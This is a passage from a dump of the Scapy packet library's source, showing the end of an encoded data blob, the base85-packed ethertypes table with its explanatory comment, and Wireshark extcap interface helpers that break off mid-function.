Fe65dcZQDKD)*YyJY=g\nk`$jeQgeMQDJ;b?5`$s3l`~I9`@;BFAmM;xlO=n;0AScDDvl_npuCSoB1Y55$T-^ziD%T<63L%w`vlb\n&+0LI)Ag!_Gvn`=+W{D9m>9KYz(<FL-tipeJJW=P?`6aIwk9y58*x-tZe4a{BwG13@JM4xy^qEt2YYl\n}lMTQJc=VJ@cciM7&e{*cXd<f23Fm_>8XvUKBZXPFX-@Fb+#5}LJayS}p49YiA6ku%;EX1(YE{h(QMD\nPhpo~&lr56U1(@BqtXF*IVWh^3v3dE>e&!+xw9kMNKWgB3lYRt6lfCq8)#ni-*ysNSgq*LP5{3&Xm(>\nHZ`0DXEs!@UK?QvRc>BFv&;XWbR*#B)kwXd603=oY}yajhr8Sfo$QFE@V<yi>8xNz2+y41}fEbRm4;l\nerGv7GwS#L1$U5ij!zOP@+&85vy(IS+JQsP|j)V0kTznD+_J`?(xBEW7=I2NKAdnI^`35`$=Rk9WbGK\nTTtav__kMjhfXiC%LaOAbmwVbj&jba85f%6kW&Xs^pTYL&Gd#ahc29^&BHBr20S!D!-^Z1)MmW>m>v_\nk6(jcTu1%>1F$sxZX{I<E)w3N1CmNg+eiJVt8`jFJ-e<*W6}I^h*J>1Hak7p#kBaT>Z|QSQz3NnDw9x\nye`(S_^N>{mC-wMiTl)vZ<mM&9rPD1N@Cr3h93atT+CgEh>e3q^18TE_WiQ3E-lr&S(c?VMm)M%3KSK\n7#Rwp+Hd@5FAuH^Kv;iZ0}Hs=Pw`?d)$XNHhe69{`9_PrwtEJsC^ggm;xAAz#%jpvXA;MgWWs)s9~&n\n@+T+fwRJ~?XBTT-aGt0AV=?t{E%)BoXe!b7j#CnBCf!XKBk+ZFs*UTz_D#U)VU&Mk?2w?dyXT?#c%1D\nf}bF*zsAPfoPdnyQ8~MRScSMhPZO=(9S<{+4f2t$VeHH;w!jD9W?&WaL4-Yu%zG3|6a=;YN{{1x(pPt\nFdg;ZgCT=dB2ZWSTm~GoWDYnOgKfwuBy71=tfHV4wAatjBH0L1!G<rvYqN#I~)BAOnaSZExk_ymK62M\nTifUB$dIHwSmn*m$e3?Lw*vD$djwXS#U=sejJI93~j9jy<=B(>5#0FGLqhxT+<Cf!DLM$Sc|T3YR;?m\n>{fq6Pnx^U(7cN&Dt=H;qHi0YGcH{BeKxr@c(Jw6X6s&4A|Ym3gby8X;<{tN1MX!e~*JS(cV&O#^*&Y\n{c8#>*uPXLVdjX6?E*b#hcmo0UYhg%IX>!&kCT?34wi-o$ZFxbh&dgNdXzXqZ-9+MmaB!t%1r)SpYOD\n$)C{L@b*U#NX?gw9CKNSz>AW^Bm6Pfb7t!Un9(?;C}|geab=Xj*C$RnD5LQ|b-FIywa<<qTiv6JSF1W\n=qFMlohT~vh_EKO(r{a~ys;R&MJd~o(<Yr*<@tGUsX0vY45ctrbex^Ft+XBp0KE-ZXDR(v0VZFI7{WA\n|4w9xpL|Ha9f+5KaHysb9~<7hPf%iDh3;u1|VD}P?sq(npd?PuWapo7NL7K*-C{sK0!hk`U%CP!~B4t\n$tZms2W$$!sk&#|y##3|`~~o(Jscf?DkXGeI`^$}|qj;#o^6*hj=>^lcF9WOQ@*Gs=yXPy5@H$Aj`Yn\n1pAWn1J`})!677uxDNgsun0Hfy-7B(4N$H7w9G+8#V*sb58{mqLDTN(~~4*x8woMa(xN!Nh^Z(N$w#<\nN)7GP3^$57j@9qNi9_-!)4i=``PgEVuS~@TbToUq#97^FK`PzNf@MB^3FqXQwu9p;b6^gDeBK7rfQOM\nE9`x`2_u#XQrUTna*-+}E?K)`u5uPEFvmL+ycalfaZg>H)Gbz=|RCMeFz&fYLmQFhGoYSMzm<1xIayF\n<)r#ktbOG|F#`#h<x0-!UlbKPOcPxM5e7_iPTEi?L+?kZ%fF`hREEzW&Bt$_r&Q{C^2mOJS-HGtpQ24\n%XZZxH$3Z;mX9a;EwC$}|q<PTv{$ok^<f6*eZ=h}MAk+5L&qBaoesx_z@#WDG=Sw6ey&HfCVU@h8{;)\n7e|I16o54K+bS63)oUXggP1p<6s)PgkNAchf%;?Kp<^Wr7uD1nzm4akMJJNw+m6b11S-)Seu!PY*F_`\nS=W56Y)$tcVy8_CsLg({mB;j?UCr<{?|WgVa}ZQbs`4cr!dfS^fYFSDaWccw9XBr*o5K&`bQC4tT~Vs\nXPJKv2wW?)BRf*?X+3sbPR@@T<q~@d4)ryU01Ayi{eIrMbq=l;H{bM8fSDi`zC!5BrLTyUa*>}+7-tL\n6{Wb<A0vODbn<}soen(Rrn7(F#R8=Jzz!QIKM`edC_HLnhb;(VYEd`vQvpE7BoEft^piWtCiX1P6pVu\nqYwNBKFdRQ%Nqrn6dRLOybBEFCq9$~01g?!<Kr`BE#1mco@kXc<ffg=yYLcSbhfWg_;g!dvuk#lFeG?\n>7WyF=APK@{@%?+M-@_j&0nf$o^Nl-&^|#<jbjAnz_&moXbZwqrHKwa&hFN9Iu$oy?YMQ6#N!|Z#fdH\nZDC$&$9Q!Hh7H`2@<=PuDM&G!q#<4=>J_yWQ7{1jxa?*1pg8<)?uz&9^bq80Wghb}6W&sGzo;&HBL8g\n!JN4!bV&x&Nw#x0WKMqW#pmL*JwtQJoD#yV*iciBHrVa(j%6<?>Gg2O&-;=C$t4<x*%IJb#XKPJ<HiZ\n==C1LtLK%+GNf~z6`79}A;kA&Z8E|YuPbj{;`3cGL`5M_~fnRdr>x*$MP2D?<57h1j1yb|^cZ%}hWl)\n@HJ+YB)qz4L;i52iztPjJm{ktt){YG8s*sl_K(Y2JL8<6b}G`E9re_z;UBFLj3?AHkBl7rJq*Uu5dPH\nq>G|p7RIvs0gj%L~jKjWJ`9hZfn^9uK=D5NRFaX8*TgE7}3N-&8F=nif^MkR|^~r%8ATg(|RjJWA^B3\nH~z?ttD^f;a5yc>HKe%1ooQPfz*NrF=5b;qfJ!+D1~G>h2>5FMP7m8rZn3UGBjdIB!T;o>vZP>iKiwO\n83@DLm1)^zo-opnaGE`dvwW7Kwz9OqYrRND1*JJMj7gG1dty`G!=7QM(Rx>{}fp;Jwm6!4qAH=?O3Fr\n@{DeUa3AVLQDrj{PZ|Np-R8L}9wRjo?{jsE~%<TOlzWHRF;EYTyDE#+ulGTHiF%*I|=vfc&|kq_#*ks\n_p(NBnT|r<}aYdqV8_01`9>nN!^z7nsQ2hsTcp4mxB)MWSRXJ0r%X@9ll`OL>Om5C%WJ_`wVAlNq|6+\nw0cnOQTtNF>Mk=U_nCr%dT8(@Fw!5$fSb+(&wP>tX8grivlpv$K6t@r_*(ZL4KUj+p8Xy`Z?!Tp!Y0G\n`);!#JJoAl)@r2%_;F07bWWWdz>huFtI$>LeE1S#wfocP0I-iku@2wbHUql*xJblx@c!si;^NPi!v+v\n!??ca{^u|+4szaRPwq6pLkki5`vIqas+}vZh;5XSv1()u!?S7*>$x(f*?5SrnkDz}+d4&AXG%YlL;z)\n$P6VV0ZahilP=Tad=ulzWvevDj{->LJppA6D9mF}hs(Pnjr`Ykathz(!0Vi=KVCyZ{s@{`3Ss4>uNn$\n`x#HZQG|cB^4iw|~_6uG5lh03Ip1uu-Ou=tk&3den_JtXu8e2QMeF@@j(Kc=nSI`Y8K4o(v%yyUN-R`\nz;v-lUxSsQCEvb-}%T_<K8gO<Y%ECoY1SCp6Kmo5ANfX^$txWk~0S&K91&bgw@1RHURB0PBUE@?*$oG\nkGPdfU_GjbvJ;05X{t3p%YnKuNIZeha&RgdI1zDB9Pg9^*68|x;HV};QkPEX763;A3y?T)#{GyUn{Iy\n@!WKoTxyrns0Ntoek!|&=Gq2`2cQI^>b*kMLFa22IYpzkLny;n(G%LiXa$WPkd1V!^<fwS_bhRacp2o\niC4_&tP_gW$rAUQsgs=#}D6tIqzU8$=xMHb*YKGL3CoE4%3;L-mS+?`~IL3b1%tJafc`}T)2jY|GE7n\ntt}7m&)lV<5DzmrdLUSsj;|bCsVh6``UGrZx9LbVT7#EaX;pzmUUF(sbXoQy3lYEl`fM7n$dFgHpI@J\no6G#a%|RzOItjVS8M9(tdt>Gs##^XF<>0Sg=}W1!LY2wbK2O0;4}u*Nz55*KpNFvu%fp=e6M%UKpVx5\n;@XJT1J`I)pBLf%OjjG7O>Dn~&|$XD8bpgbaox_+1GJ-tkv3^Kn-Xl+0n{3+<whAVv#frq==H%RvT1x\nL)MP)gRX}na*3X5LYXQ13DRzlYezfY`dC*WraoiWDY12zvOp%j9m2TM6p{0Q!HFy5VXGe&gy9k{Jj>x\ndclv90r$-ExT?(c$N(kupO@hguMCsIox6$P@P2#{l}*2wL2D0BV|=*O*uGN(ZYZ=N+<#1HZG9V;6c$B\n@<wacJiifo{}UWBEjuC6;nFi>Il2>{(qo-^C*Nw8<+Mf1jmC_as|-YN-@7(*Ggoa&r<Zla801k8FU^I\n8TprSAWBx8RbF!AnEUxjo%MCW3VjLd?s!kaS)7@llv84Oh)U-)URd+uz{>R3hPM(RaLC0sh8h}&**<F\nU))^f(fM*7EJ-U-esQM-kapZf1#aWRq1)R4cw^8{;?p&hZR5LhXCTzA72tQ;!Uvr(q|O)X7a$jwLPLq\nKlMUtZ$M~c5nw%kGLs{nBxalax@LBZd?Ib)-9KMExeMV2kyyIY`>wp;_;J}`&p5(z%;x{#UATLhp-_q\n7VfV+5G5O(0C{{*;2HOp2sr9XJ1lq?c`3dIw7tt`bq)Y4<~sDLXT-VP0^3`E6;;wY#JPnie@W!UsY%9\n$KM743H0G_E#<GwwX|+v>RQypgb$mCyVJOX)ri-1F>w)|Hyaogy=L3bDa_m%gUjC*fo4j;HcXt=G%6y\n=Loxb-(!QqxH@}VO)q@RLWgO9CJ$M7uA2R9n+C*Y7L1tJCDcM1?MwpK7Lbo@7xb4jEny5EJo@T<i+qs\noN#RbT+}%cP5nOi&V2%1Csh-?<MM&M*i#NuP0<sMzJj$l>8m@||Ktj;m#pSy&P&sPH*SzKY%PDU>-|1\neD<i8iqxVi^Pnl@~2K#W9SK{!##6OfWM&0WL3sKo)Ya6iu0Fe@4|1=WPf455_!?zVJIjfpEXzzdrA(A\nnP`otb-+YFrxMDIwNY0>TTi!|tnYCoInGH~wq)@LBFtQP50#rm&i3o|kyW{laCjxV@~`#oOVSHm_fDV\n#(_R4sGFfDG8mHeDbl@aaf%v&n7W&&Cx4cLxx`Kfc#d|4;r4Zu2jR2xWE6znYjv(Qd8dlSVSX%&d9MC\n%83z5WY{nV%uB$g59Fywi*+#i9JE%VWiX9_Kr2h-Q-?7<U-T8$IbMecr+kkASX(VS>hvCTx_T8Q;p*V\nqlRtpxwb0!E$+611C%%_g_^I)rYuN{juvY?Feq>2l$#fIdBNZET&g!tc)!w(11m%%I#34pVi?)t2>=o\n&!6F=wBQLyP%;uqsREK8sV%`+aI1}pzt^Mj}PrDq!N1UsLP`&?J<=f6AHqK|s*w&+3bi<8-mn#3rJQ}\nvhb(-~2^JeUWyfI~ThnCuA`zm=#EwpCbZz`%WU8Q{b6RfgIJ@EtNvud|au+gvv8!@iyT)B66kZgDNit\n41)1w_M<D4q(p{Q^wGKK0B#x%>;Zw!cZW^;ET&6nn1ma-faxx-CE)2HE}<-Yx)!@}oApO+temelkE0r\nCipg5***5hx4~63;*NcrI|jaN09e#o(j%iabNLZavth|`es6_Te&s+x3JD-S!~kt^aM81QDc{8@34-q\nZj5T|cBWax?z!t$N!mP^PG-Gm49?*>Fb;r+H8p>`Xm|I*Kbw-=!@q(>uP!Y`60kQutVi@$MQImT-~>R\n!k=!kv9wlH5)r26I+tH<K>Y~m2!#4f5^pzkye1s?A)UN#IwSwsLsvx-!KEhc=<x<J~T?Ppn4wZwO*Op\nrP*@7Q+<*7UTP_C=j$``s-d#-v!vKhzEHU)Ag#J+V)%{OqXQyc~j0-fV5^$+PisCQjiJA4>6)VL^j%8\n#m-nXEQWSl7i@e=+5YYN<x451+WPVZO@KebwFV(m_VUy=jr9yZaIppVbswP!smDq<%PH<GD>V&yIP1h\nMvtkrLKi}r`#79Lz;ag`(hpkTliDCZ4ob7R3ep{YvS+=8Zt4c;vC{=7or(-u&cJxS&f{Ju@tK^6C7Ca\nH2@UKWRKghDZdd}x+Pd+O>h~em%RTIdhAwwA3Ef0xsXsgth7yHe;$!v!a+rVCUOM4-l@%k&A|6myFoJ\nSl`<_8v29F(Pp~A&*?+3Dv&!cnlbw119FqpeaGXSwXgWw1Vd#d?05J?c4BWaN_sXu^YA+JXDh+O_{oV\ntvLkItE7Aix`V~26xBC#OYwDx{P-POQCL)hD(aib455Di|%mb$vNmTCsG<}}M{41)7|=G+FZCZ)O;s@\nmi(7S<x?jxo7nF0mtxePx@r2`Q`I<yqeJTmSvpAUh9Yd&XvKNu+~0x_y7~`x{(7?Z>|#&|@<{oOJJ!h\n`{R0Av+0}krtF{Uzri6g!<-h>53kH0sNhno7*j|rb*5f-n9vjkhD<gfuOFjJ=s}t7A>9m8KqXO<uj1q\nij&(#OQIV5%bkuTu`Duom4BF=e4LkjGBe(B^1mWAwHTf?DcH~t=82;*$VIJ0uRW1616d?p>8{lGUhyw\nRv@{d0P?=!_OH!4jfMa8eIpKsaDA6K9T>DWrI#fJ<@%&U%iIchI3&9{xRO;*(_-2QFmd`Aqgo2y3OwF\n1Ep%)H)Z`1%+@7^z)_HnV=wzfZ1kOYgxEOGPFG2{krK%RMw;_#g}z={=E+V8Wj#j{8Q%bDda7gv>mw^\nO+-yl`KgkxsE@#-S((k`Rp=F^o%8=W3%)*Q9LZz6rxYPj4>X)H1PiWhOpZy}6z!%VWD68mntwpOoA|k\n~+=PN~gWvW2zY`y=EMs8rtA?VeGPB5Fc|O;ZJ%RO`lw*IjfzsS8g=wUt$&P7lbS76A<1Xx8J?6QpQpG\nr>zvZZgf*MU5v{U-+9`9^n--`ed8vm{j_OkMvQEIF;Smv&Bdli<8Rz{u~#;^+e^W%Am{7GQG5HEi1T%\n|Mtk?QDAw+~%I?6ZpPZ(fO~2!chrhkLy4HuW{`2BRqJ)-jVYlpH>Yckm=IlU?lufOt9v*MlE@S4hLX+\nm>3wcVphX>s9lXVVN+dt+uqzDa>Y?Xqs^Vzmt&$GJvmr5Mtv7MB>pdYjnPJ0U*_+%)=dm&oI68iTaCP\nWETTPCO38{Hy-#IqY#;w&pxUGe7jmNe;0=&n;2?K@Fob_bI=;Wb(rCoZ7dtf~AbUTu`$_50KTMD;Z#B\n6ZoWn+!4CCX@)_Xu6Ic^v_0G*<46|*d!e^2o6=fB+tb4E<5o=Uc+}HI}HbN1DSYntO8S(vR-MMyNR^m\n_qzKMJML`L7AgJJ$<G)Wg2SeMN8cK#7WI^>R>ef)oEW7<HIT0krqFlwTWLD7!TE0Z|HS&#JfZJNG-jF\n*PpKzrOUTd3xf#KkqEz;`-a6SOT|q?h#>UJEAgPxvy<7KL;)rKMp`O<=Z5C@5Sn5rhBbT;X+KFF)AET\nx!%&z%{OjSC^R-&=Wl-2Zq{~yy9_<+LQ0RR\n\"\"\")\n"
  },
  {
    "path": "scapy/libs/ethertypes.py",
    "content": "# SPDX-License-Identifier: BSD-3-Clause\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n\n\"\"\"\n/*\n * Copyright (c) 1982, 1986, 1993\n *\tThe Regents of the University of California.  All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in the\n *    documentation and/or other materials provided with the distribution.\n * 3. Neither the name of the University nor the names of its contributors\n *    may be used to endorse or promote products derived from this software\n *    without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED.  IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE\n * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS\n * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY\n * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n *\n *\t@(#)if_ether.h\t8.1 (Berkeley) 6/10/93\n */\n\"\"\"\n\n# To quote Python's get-pip:\n\n# Hi There!\n#\n# You may be wondering what this giant blob of binary data here is, you might\n# even be worried that we're up to something nefarious (good for you for being\n# paranoid!). This is a base85 encoding of a zip file, this zip file contains\n# a version of '/etc/ethertypes', generated from OpenBSD's own copy, so that\n# we are able to use it when not available on your OS.\n\n# This file is automatically generated using\n# scapy/tools/generate_ethertypes.py\n\nimport gzip\nfrom base64 import b85decode\n\ndef _d(x: str) -> str:\n    return gzip.decompress(\n        b85decode(x.replace(\"\\n\", \"\"))\n    ).decode()\n\n\nDATA = _d(\"\"\"\nABzY8N|hyM0{^91ZExbZ7XI#Eaioz}AWb2>6zJa3jGPeKXcNeglyY@-KbXWoE+IxqXv@Ff<IvJNyVvd\nRMru`2KTnQ*-kxK=kS}1DTb^gUgmupL9Lm#y7x?k{3AafB>m=n6^CHTV6)&I=xJ;}8aq!6UL>!9?$pv\n`GMJXbYp80SsD}m)4js=fFWN&Z9pC^&;iWd2T;Oc#8Qj`#hV;aMX!&)3O3HkNH4X`cC!>{f3)6-KcVH\ns<QeA8w{k!-R(&&s0BU)Zm*<9@~S;x9lG&iU2I=)OS_{4K+y`7Yt#w*2}0pYQOEr3ouK-&?KL`On_<c\nlct7y<|chvh?8HV;Dvs{@?Qj9NV@5F|8gPShT~#^zVITjnOp>4Z)J<;u$39a{5<La1I7F3`s`A&yz_S\n8pk;=3J7zS6)7tdbliopL#BZWG6s6{rU60}8ziKohy1A#jh?r{kVsEWGInRT9ffhAGeRzh#*Z_utKvG\nJ!8!h;;zVPl-L&)O46+<vLk+6kd<)k*S$R&ZsTtJ4T@6?+zhG_4qcv<#gRPcdz}6j|1u9q<#np0&TXz\n4j+iUG^alOkQc?vy3=YAbK&|qIf1b>P2SVhR?&?j@145>yMs!3G@=R9R6kif=#Vs(Z_r%4vh)K<>Hq+\n<<{$+8p6phA&wP968%zdMFDXfV{V<mRtsU~DPggHE@n^MG7_1>P|&lZX{1Sy0z`Z)r!Lrsw6wsVMpW?\nHK2ltJ-jLqx0sNmFysrtOQHs2a&&|tz=2rn|GRIdZ)S?i&94$))<;o{#?SHIG~#@{`Oxho^)8Z*Xts+\n>08!2bkEWTZVwAL^809Umhnh-p#34`C5KFu7+M?bN<8PW<Q?Ctyu;7%$}`zuctImgcD$->&e(6(>3vI\n0^nSOmOLV#1WJMBznTlw4ISAr-uKC_)eM`&ZWNVS{&wla*c6)G>vc$%3CL3_+lz20L{GM;1_te<703i\n?`_lI^WSS$(VmP*k51VPUC0-X?v44uu1t2PkH(*J-3Atb2f5W<EZ!WPz7Kp>%>Y0p*g=mT&CA#?gLQG\nnOiHyYraJt+m~t@zxV%GtwEUqJ4&4M%5Y*%gLH0kL?>Di_?FQ|Df#>3p6Bv4y1YER~}7d5RxDen3MKl\n%l=PF){8<F!LndaJfe_2vz3m&oiG{AUNPBNw&cn$~l<@>TwVCUY`Z+8}O1S7f+~F(R&tk6?D(gdM{$>\nRn<4K#*sU<g`u+3ZU>iR>aI8mom)CpaNUWnS0o#jeZ};RS_A`+dJ44vVVpi<t6{4oP0AB^D2VY;QF7-\nn#(IQ$|5&1452|KRNC4Z%1vK#EY77t=2Nd>_s9>i;mNIOV_R?23er;;32udbPPYetAO)8EQ`17Gf7XE\nxTR#~jS#DYC0ZV@}Ed*NEwwe3d~neYn)M>#>D8)Mv#ZOs&hfi8v?oJXQkPgv{a;n8C$T7-sS&5nVt64\n3CMka!ezgMt}S4aQ?-&d7Ld*IqO<wT(I}c2#QvJLS7F7g@3+o;`O$l|*;=9?z5VMKOw)VH3sxy3dkFI\nVNI0ZDow2cBUb9e^Y30bhgn0_TP}DJK|GIDZnGc(&<5;MHt0_SeI2E2UA)*lCdrm9n%8|33&dPMA!($\nBeGp4+_@b(ONDKsYh!a>CeMV{6fJ^!pV>J`AX&IdMSxL9KXbeelAWJWK~Z;XWKC==mrL15*J%=!MU$A\nbiCg2<ZRLTd={n`S{1;TnhM99#Zecb-t+3`zIPA&-{(~AmKf(1?$G}lBDq8;~cl6&%9*#QNLVCwec<N\nOhmKqF8P+pvEf7)U&VIVDTU23X?x<0nJ1(&U)3KeMCOEtquZmEVvr>9HoDTYBRLpzO|C_&2yd7U9S8d\nx8u6XzCe5C^HBn#8;J{Mv?fHQZ~T0kKTOV#{)L7MZw?8Zw=}F6I|`@;_cB9iCQFa!km^)NMjV)0p5O0\nIt9Wbs6j~N)eT^HLjgRUss%_=PMf&%F;P9u*ST~6hdA9j;chuibd1ImYp4qN$S<NtF8BPxssUBkQWnD\nF&U$qCRv7lZBIj8;lIoec7~~f;fHt<+&bZd%3<qlx^>!Ng6a)JBa`D>F0hdWe=uaEi`5|7^7xoy<ESn\n?*0PX={#UqjeBZeWLU{q9#KCAV9)Iov0;<qJeLo=cam}b<Pv>zQiLf)I5b|i7iBxP(mEZtL^N^HVfqK\nC4iRV~;jg|flR!@$t_-A~S5(GomD)aR0p%!kR2I@NomVW!P0cT<_uPI-J%$u+d+}VRdhdoI{H!^yy9*\ndz!#na_nk<X=;-}YF(<9U<#e(i8ahOW)Y<qfft(+$o!tCRd-W@8cYU3I6UzOFu1%Q63}nV&A58unUyf\n%2RbGM)EFiI+9304%UFfb)cx46Ei!h!Wkw4sF>$k`1Y>R9-RYf3VA$lCJ?Ts%S*%w&BF4{>)YAMz+=w\n*xr_asB;yN6Dpn6q|b<UwHk}oTKi9D`m;tb`p5<hhN{OFC5v{lZo96UTceSs3s5)7cG#Uxypr6JsG8?\nxi1$siwk3P`kwrfx{4t4<(L|e8QlwYYk+g0a+^K{&{mCav{ficYJI*Ap%%4%uFtE%{gW&zhaigCotIL\nqaMC5x^*QeK^O^v+f*XnNMHCN9=Np+<jT7Lay-GBZvWNl-a_>=dIZJd|iQBr*L^VHN1f55%`jsx>}L6\n<P-b`7X_NHCi!!f`?;IvE<E5`PAoA2^CPK^9J^45O2YRs)*m6e`G-%d(f9M+|!lJh2@=9txZ;RQWT(M\n>}0SC;Q_b9$A{i@cIQy_4UqIdGU$?!ejC~XT@GkQ5paM\n\"\"\")\n"
  },
  {
    "path": "scapy/libs/extcap.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Gabriel Potter\n\n\"\"\"\nWireshark extcap API utils\nhttps://www.wireshark.org/docs/wsdg_html_chunked/ChCaptureExtcap.html\n\"\"\"\n\nimport collections\nimport functools\nimport pathlib\nimport re\nimport subprocess\n\nfrom scapy.config import conf\nfrom scapy.consts import WINDOWS\nfrom scapy.data import MTU\nfrom scapy.error import warning\nfrom scapy.interfaces import (\n    network_name,\n    resolve_iface,\n    InterfaceProvider,\n    NetworkInterface,\n)\nfrom scapy.packet import Packet\nfrom scapy.supersocket import SuperSocket\nfrom scapy.utils import PcapReader, _create_fifo, _open_fifo\n\n# Typing\nfrom typing import (\n    cast,\n    Any,\n    Dict,\n    List,\n    NoReturn,\n    Optional,\n    Tuple,\n    Type,\n    Union,\n)\n\n\ndef _extcap_call(prog: str,\n                 args: List[str],\n                 format: Dict[str, List[str]],\n                 ) -> Dict[str, List[Tuple[str, ...]]]:\n    \"\"\"\n    Function used to call a program using the extcap format,\n    then parse the results\n    \"\"\"\n    p = subprocess.Popen(\n        [prog] + args,\n        # On Windows, we must be in the Wireshark/ folder.\n        cwd=pathlib.Path(prog).parent.parent,\n        stdout=subprocess.PIPE, stderr=subprocess.PIPE,\n        text=True\n    )\n    data, err = p.communicate()\n    if p.returncode != 0:\n        raise OSError(\"%s returned with error code %s: %s\" % (prog, p.returncode, err))\n    res = collections.defaultdict(list)\n    for ifa in data.split(\"\\n\"):\n        ifa = ifa.strip()\n        for keyword, values in format.items():\n            if not ifa.startswith(keyword):\n                continue\n\n            def _match(val: str, ifa: str) -> str:\n                m = re.search(r\"{%s=([^}]*)}\" % val, ifa)\n                if m:\n                    return m.group(1)\n                return \"\"\n            res[keyword].append(\n                tuple(\n                    [_match(val, ifa) for val in values]\n                )\n            )\n            break\n    return cast(Dict[str, List[Tuple[str, ...]]], res)\n\n\nclass _ExtcapNetworkInterface(NetworkInterface):\n    \"\"\"\n    Extcap NetworkInterface\n    \"\"\"\n\n    def get_extcap_config(self) -> Dict[str, Tuple[str, ...]]:\n        \"\"\"\n        Return a list of available configuration options on an extcap interface\n        \"\"\"\n        return _extcap_call(\n            self.provider.cmdprog,  # type: ignore\n            [\"--extcap-interface\", self.network_name, \"--extcap-config\"],\n            {\n                \"arg\": [\"number\", \"call\", \"display\", \"default\", \"required\"],\n                \"value\": [\"arg\", \"value\", \"display\", \"default\"],\n            },\n        )\n\n    def get_extcap_cmd(self, **kwarg: Dict[str, str]) -> List[str]:\n        \"\"\"\n        Return the extcap command line options\n        \"\"\"\n        cmds = []\n        for x in self.get_extcap_config()[\"arg\"]:\n            key = x[1].strip(\"-\").replace(\"-\", \"_\")\n            if key in kwarg:\n                # Apply argument\n                cmds += [x[1], str(kwarg[key])]\n            else:\n                # Apply default\n                if x[4] == \"true\":  # required\n                    raise ValueError(\n                        \"Missing required argument: '%s' on iface %s.\" % (\n                            key,\n                            self.network_name,\n                        )\n                    )\n                elif not x[3] or x[3] == \"false\":  # no default (or false)\n                    continue\n                if x[3] == \"true\":\n                    cmds += [x[1]]\n                else:\n                    cmds += [x[1], x[3]]\n        return cmds\n\n\nclass _ExtcapSocket(SuperSocket):\n    \"\"\"\n    Read packets at layer 2 using an extcap command\n    \"\"\"\n\n    nonblocking_socket = True\n\n    @staticmethod\n    def select(sockets: List[SuperSocket],\n               remain: Optional[float] = None) -> List[SuperSocket]:\n        return sockets\n\n    def __init__(self, *_: Any, **kwarg: Any) -> None:\n        cmdprog = kwarg.pop(\"cmdprog\")\n        iface = kwarg.pop(\"iface\", None)\n        if iface is None:\n            raise NameError(\"Must select an interface for a extcap socket !\")\n        iface = resolve_iface(iface)\n        if not isinstance(iface, _ExtcapNetworkInterface):\n            raise ValueError(\"Interface should be an _ExtcapNetworkInterface\")\n        args = iface.get_extcap_cmd(**kwarg)\n        iface = network_name(iface)\n        self.outs = None  # extcap sockets can't write\n        # open fifo\n        fifo, fd = _create_fifo()\n        args = [\"--extcap-interface\", iface, \"--capture\", \"--fifo\", fifo] + args\n        self.proc = subprocess.Popen(\n            [cmdprog] + args,\n        )\n        self.fd = _open_fifo(fd)\n        self.reader = PcapReader(self.fd)  # type: ignore\n        self.ins = self.reader  # type: ignore\n\n    def recv(self, x: int = MTU, **kwargs: Any) -> Packet:\n        return self.reader.recv(x, **kwargs)\n\n    def close(self) -> None:\n        self.proc.kill()\n        self.proc.wait(timeout=2)\n        SuperSocket.close(self)\n        self.fd.close()\n\n\nclass _ExtcapInterfaceProvider(InterfaceProvider):\n    \"\"\"\n    Interface provider made to hook on a extcap binary\n    \"\"\"\n\n    headers = (\"Index\", \"Name\", \"Address\")\n    header_sort = 1\n\n    def __init__(self, *args: Any, **kwargs: Any) -> None:\n        self.cmdprog = kwargs.pop(\"cmdprog\")\n        super(_ExtcapInterfaceProvider, self).__init__(*args, **kwargs)\n\n    def load(self) -> Dict[str, NetworkInterface]:\n        data: Dict[str, NetworkInterface] = {}\n        try:\n            interfaces = _extcap_call(\n                self.cmdprog,\n                [\"--extcap-interfaces\"],\n                {\"interface\": [\"value\", \"display\"]},\n            )[\"interface\"]\n        except OSError as ex:\n            warning(\n                \"extcap %s failed to load: %s\",\n                self.name,\n                str(ex).strip().split(\"\\n\")[-1]\n            )\n            return {}\n        for netw_name, name in interfaces:\n            _index = re.search(r\".*(\\d+)\", name)\n            if _index:\n                index = int(_index.group(1)) + 100\n            else:\n                index = 100\n            if_data = {\n                \"name\": name,\n                \"network_name\": netw_name,\n                \"description\": name,\n                \"index\": index,\n            }\n            data[netw_name] = _ExtcapNetworkInterface(self, if_data)\n        return data\n\n    def _l2listen(self, _: Any) -> Type[SuperSocket]:\n        return functools.partial(_ExtcapSocket, cmdprog=self.cmdprog)  # type: ignore\n\n    def _l3socket(self, *_: Any) -> NoReturn:\n        raise ValueError(\"Only sniffing is available for an extcap provider !\")\n\n    _l2socket = _l3socket  # type: ignore\n\n    def _is_valid(self, dev: NetworkInterface) -> bool:\n        return True\n\n    def _format(self,\n                dev: NetworkInterface,\n                **kwargs: Any\n                ) -> Tuple[Union[str, List[str]], ...]:\n        \"\"\"Returns a tuple of the elements used by show()\"\"\"\n        return (str(dev.index), dev.name, dev.network_name)\n\n\ndef load_extcap() -> None:\n    \"\"\"\n    Load extcap folder from wireshark and populate Scapy's providers.\n\n    Additional interfaces should appear in conf.ifaces.\n    \"\"\"\n    if WINDOWS:\n        pattern = re.compile(r\"^[^.]+(?:\\.bat|\\.exe)?$\")\n    else:\n        pattern = re.compile(r\"^[^.]+(?:\\.sh)?$\")\n    for fld in conf.prog.extcap_folders:\n        root = pathlib.Path(fld)\n        for _cmdprog in 